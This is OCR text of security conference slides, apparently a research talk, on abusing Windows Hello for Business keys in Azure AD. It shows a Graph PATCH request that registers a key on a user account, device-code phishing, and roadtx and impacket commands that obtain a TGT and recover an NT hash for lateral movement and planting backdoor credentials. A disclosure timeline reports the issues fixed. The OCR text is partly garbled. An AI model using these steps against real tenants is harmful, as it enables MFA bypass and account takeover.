IIIIII 15 i, ...l..............................................................||||||||lllIllIIIIIIIIIllllllllllllllIIIIIIIII



Registering WHFB keys directly on users

e Users can modify their own “searchableDeviceKey” property via the
Azure AD Graph

* No MFA requirements to register MFA method this way, except
general requirements from Conditional Access

e Can bypass MFA if Conditional Access is applied selectively

* Prerequisites:

» Attacker needs to have a device in the tenant (either registered on the fly or
stolen cert + key from legit device)

* Avalid access token for the AAD Graph



Registering a new WHFB key

Informa

T




Patching the searchableDeviceKey property
‘ PATCH v ‘ https://graph.windows.net/myorganization/users/ipmtest@iminyour.cloud/?api-version="1.61-internal

Params @ Authorization @ Headers (10) Body @ Pre-request Script Tests Settings Cookies
none form-data x-www-form-urlencoded @ raw binary GraphQL JSON -~ Beautify
1 1
2 "searchableDeviceKey": |[
3 1
4 "creationTime": "2022-10-12T18:29:51.37930627", B
5 "customKeyInformation": "AQAAAAACAAAAAAAAAAAA",
6 "deviceId": "73240d49-8e89-40c9-8c81-dB8ea31858637",
7 "fidoAaGuid": null,
8 "fidoAttestationCexrtificates": [],
g9 "fidoAuthenticatorVersion": null,

10 "keyIdentifier": "jWiMLbiJ5IJIXI60+2EISptNErd0yxKy6Zn7yN5ibklI=",

11 "keyMaterial": "ULNEMQALAAADAAAAAAEAAAAAAAAAAAAAAQABSzZgijRSGPYwXnm/2]cYhENGABI /SwpljACne2AkR2eh /VZENTUFCJa9VGI+sh/
INUMvKkYTRUKGsT1phRIARTEY10SvhpS/sFOMGmvKisuQySlpklzZySeAlyhuWhypBQDéyhRgSMmMEjZAO0CaRclekVprOImZ+4HQRNE£dER/
yOGKBICO8Wo2gNpXvLxwbHUWAAKAPPZARzZms KT / x /mGDXbVACUC2dcG27F65Y9S5tBSqv7qkd5vqrBOez TvucRWNISPTAQmOCVS9vP j90gwyY 8749/
FFEMUB9QwmvkVhwal0jNTKwdwY80cZY1Gh0IyApV/ /+XsFovtiJeRYxMIw==",

12 "usage": "NGC"

13 i



Attack method: device code phishing

2. Send device code phish

Attacker Victim




Alternative scenarios

* Abuse credential phishing (with MFA if required)
 Temporary device access

* Permissions to modify accounts
* User Administrator
* Global Administrator
* etc




Hybrid scenarios




WHFB Hybrid

3 Methods:

* Cloud Kerberos trust
* Hybrid key trust
* Hybrid certificate trust




WHFB Cloud Kerberos Trust

%
A
A Virtual RODC

Active Directory

Shared Kerberos Keys K




The technical details

* When we request a PRT with a WHFB key, we get a partial TGT

* We can exchange this for a full TGT and access Active Directory
connected resources

* Only works for hybrid accounts, since cloud-only accounts do not
exist on-premises




PRT with TGT

"token_ type":"Bearer",
"expires in":"1209599",
"ext_expires in":"0",
"expires_on":"1685442712",
"refresh_token":"0.AXQAj KHYNn9PIKkOWUahpfY hvIc7qjhtoBdIsnV6MWmI2TtOAL8.AgABAAEAAAD--DLA3VO
6]f9JthQgtAtJrth4vaHJI1ww 7aU8tYSh-N-9YAQGI1Z2L 2TmtKEGNQeoH6yeCQtjSGhbdiW4f5qjBBo0jdece
U7 _-Z9p7IKE9tFHRYTfQtTH2MyXxaSmsvXfPlwNGh241fOCu82Z0TVEYyxvD3f07TBgFpwysML rIZ0c037X5NVL3FjU
"refresh_token_expires_in":1209599,
"id_token":"eyJ0eXAiOiJKV1QiLCJhbGci0iJub251In0.eyJhdWQiOiIzOGFhM2I4Ny1hMDZKLTQ4MTctYjI3NS
MmQzLTQyN2QtYmQWNCOWODBiNzAzMzgyZjIilL CIvbnByZW1fc2FtX2FjY291bnRfbmFtZSI6Imh5YnJpZCIsImOucH
aXNwbGF 5X25hbWUi0iJpbWlueW9lcmNsb3VkIiwidGLlkIjoiNjI4AN2YyOGYtNGY3Zi00MzIyLTK2NTELYTg20TdKkOG
"cllent 1nfo"-"eleaWQloleN]QleQwNyOmeQzLTQyNZQtYmeNCOWODBlNzAzMzgyZJI1LCJ1dleIJ01N]I

"tgt ad"-"{\"cllentKey\" \"ethch101JkaXI1LCJlme101JBM]U2R0NNI1w1Y3R4IJ01SUXYYUdNZWRSMG5
c9QF+jdyTQfIdwiCc3c16sTSxeMZQlyFaB8RLs1/dqa8AY2uuXL /aWRHXcu3Wf5KbwMdIEiOAugP r8GDOyfOul84CM9
6rkwWnDZig/7/uB6qgQajznhlr+KF1b1VdoE1QNj5cXijDWuOpcqZBRrBQhChiHeb5w3vfhD1gySIdQT /Npb41PvecmZgMF
waNHR4NnOGpcJaYj0931BnEwIHEt6z4vIP8tatmKuNOlU+Ugx23GWjFGF 9wpFiZMpp9nKeY4eDn4PRbGBplv4dbvbxaF
CARKiggEqBIIBJggGsbvde/LfWpMQE+EnpNsaBGFtCVA1Caj cMNHAbNKwT2aarW9mHHsUJ cDWbpGXZLbDpuvHTyDLV
rid\",\"sessionKeyType\":0,\"accountType\":1}",

"tgt_cloud”:"{\"clientKey\":\"eyJhbGciOiJkaXIiLCIJTbmMi0iJBMjU2RONNIiwiY3R4IjoiR2tkYUNLSDhp
SUSFLKNPTaOCBXEwggVtoAMCAT+iggVkBITFYAAAWQUAAAEAAQAAAAAA/ vgywN1TuOK3XYCYO1nr65Fw2y5gF01KI6
QyKnRTuw/7nF 2F 3KowvoWJTulIlyIdWht/voo7aoWIhFNIYIOGjVYj1+/U3dhTLgEUBCIdYmrfN1RybjMzUkCpMreQjl
McM4is940h/n/+7xJQeqdhb4M+5n0BOcEmMGVT17VmcvIWVcoAOyPSQ/ nYkwMAWwZ49E gOWEUtFKRD1dS4NpbKiZCca
2gIIxSQtO02AWvtmQIVI/OxDOKk7/poxG4dobVayaxp9ranNS6edrpdo/SKgQcYSeVSvGo/csCuARtWK64q] jKGUB3KAR
+8UEcSoVf2clwUMbotMQly3/ezHK5vrPEVFsPQjcgQTO9WZANRIawmyNrXHd+J1iQzAjpiOEp+WNghC/foQsqvtX8EaF

"kerberos_top_level names":".windows.net, .windows.net:1433, .windows.net:3342, .azure.net, .a_




Lateral movement with WHFB

* User administrators and higher could provision WHFB keys using the
AAD Graph

* Normal restrictions that prevent modifying higher privileged accounts
apply
* Possible to add backdoor credentials to any regular user

* Possible to move laterally between hybrid identities, and authenticate
on-premises as long as we have line-of-sight to a Domain Controller

* Does not work for Domain Admins and other protected accounts
since the virtual RODC is not allowed to give out TGTs for those



Request PRT for hybrid user

(ROADtools) X roadtx prt -u hybrid@hybrid.iminyour.cloud -hk hybridhello.key -k talkdev
ice.key -c talkdevice.pem

Obtained PRT: 0.AXQAj KHYN9PIKOWUahpfY hvIc7qjhtoBdIsnV6MWmI2TtOALS.AGABAAEAAAD--DLA3VO7Qrddglg7WevrAgDs wWUA9P-el
djDpArNDrj4jMfcI-ehoV6fPLmBb_dr15CzEb7p4p1YWOWGDeJ3smA3cT3 oyalLht56G739-EbT97WtjFVqY5_qnsiTKgnpohKrYzUa@g8pT5 C7A
KComwTGQmLWDePwJ1Aa_ 1C56HZvbcZwIRmL66S6NXwt3ALDGI-n6gqudelyPIHXHTtyBo8LN5W1QcBCFZ00ZqzzTcGALErqJ11Y2VA107GVHS1Swyg
fVSQxCPyR_SJIVIKL3TK-6wH31yLca9NaXbbTq7LxQfpDUtOULWsHjKVryBH51r836nd7pRGH7MPazAYryZWfHvUUQG2W1oJacp58u-XGLGKx1ttk
yjGvmcujICllozPkImktX8avfMR5KCPB--7bI13SI95hn63rEh1TkSSBU_WZWd6AEX jEgpPALPj OoRvgQstDVxdiQYO2LGnbQ4GWEQLS5rD_2IcsiEWR
RNvPeZmjemoBK1h1jC7KVahtRUkeauvBBZSFHI1VU2yqZ2btT-y7fE0jqGnhfD1VPXsz8TG4R-GIIrHCVsRaR - FkCkBH1r fOHB_yy6UM7BLQk19E4
1u9-3EKXR8WgLLLBgA-BdugL5nJCaAasxwlIdfS65VG6rDmk jieUlrOGO71RrS1ZSgscddudj2XDGNBOc6mI-TmjyeFsoZKLGO9pzRASOWr TomNTU
Gm_9gDjLVPLRgfycWszciKQ-Wd61aZyTTZgNkBr4XEWdPINKSJIC4z118A0sYv692nIqlRzfEHNmH1-I-SU6Q6GcCe0qxFoDTKGWIZWmPPNe4hPE9]
kdMd-PDneGL_Mo68cXQ5AnWWr TXpY2bv4XovDITzx1CABt1TDNNMSTgUVyLQgaMIPMf6HeE2MT1XsGanibQn9xxEPbAVY6V8kY3CYXvt5uvmgelm9
d9tnyElpaEalyqiZejVSSjvLB7p4wRVOVWmvwgbeliJYJ46Lp6I-H-fbEeWiGyfc874Re-h310jF TpO6xyJIFT71KI1Z0Oyk6qkzYrurspg3LrUhol
fEMeVch10C2ebKkD9z7 nFHstjYg

Obtained session key: b5fd95cf416da96aac@6_
Saved PRT to roadtx.prt

(ROADtools) e |




Extracting the TGT and exchanging for full TGT

(impacket) X python loadticket.py

Saving ticket in roadtx.ccache

(impacket) X KRB5CCNAME=roadtx.ccache getST.py -k HYBRID.IMINYOUR.CLOUD/hybrid -sp
n krbtgt/HYBRID.IMINYOUR.CLOUD -no-pass

Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Getting ST for user
[*] Saving ticket in hybrid.ccache
(

impacket) X




Recovering the NT hash from the victim

mpacket) X KRB5CCNAME=roadtx.ccache python partialtofulltgt.py HYBRID.IMINYOUR.CLOUD/hybrid
] Using TGT from cache

] Upgrading to full TGT with NT hash recovery
] Recovered NT hash:

] 0aad3e6a4d627a4dbafe24df580cb2e8

] Saving TGT to hybrid.ccache

(i
[*
[*
[*
[*
[*

Technical details by Leandro Cuozzo:

https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/
Will be part of hybrid tools soon: https://github.com/dirkjanm/roadtools_hybrid



Disclosure and conclusions




Disclosure timeline

e October 2022: All cases submitted
* February-April 2023:

* Some back and forth about fix timeline
* Discussion about bounty classification disagreement

* May 2023: Fixes rolled out for most cases
* Not possible to add new keys anymore via “searchableDeviceKey” property
* “ngcmfa” now required to provision a key via device registration service




Windows Hello for Business - conclusions

BProvides strong, phishing resistant, Multi Factor Authentication
X Requires MFA to provision
Xls bound to a specific device

¥¥BHas its keys protected by a TPM, preventing attackers from stealing
the keys

«’Is more secure than password authentication




All tools in the talk are based on the ROADtools framework/library
Open source at https://github.com/dirkjanm/ROADtools/
And https://github.com/dirkjanm/ROADtools hybrid/

i

ROADtools



https://github.com/dirkjanm/ROADtools/
https://github.com/dirkjanm/ROADtools_hybrid/

/OUTSIDER
SECURITY

(Windows) Hello from the other side

Q&A later today at 11:30-12:00 in this room

Questions? Twitter: @_dirkjan / Mail: dirkjan@outsidersecurity.nl
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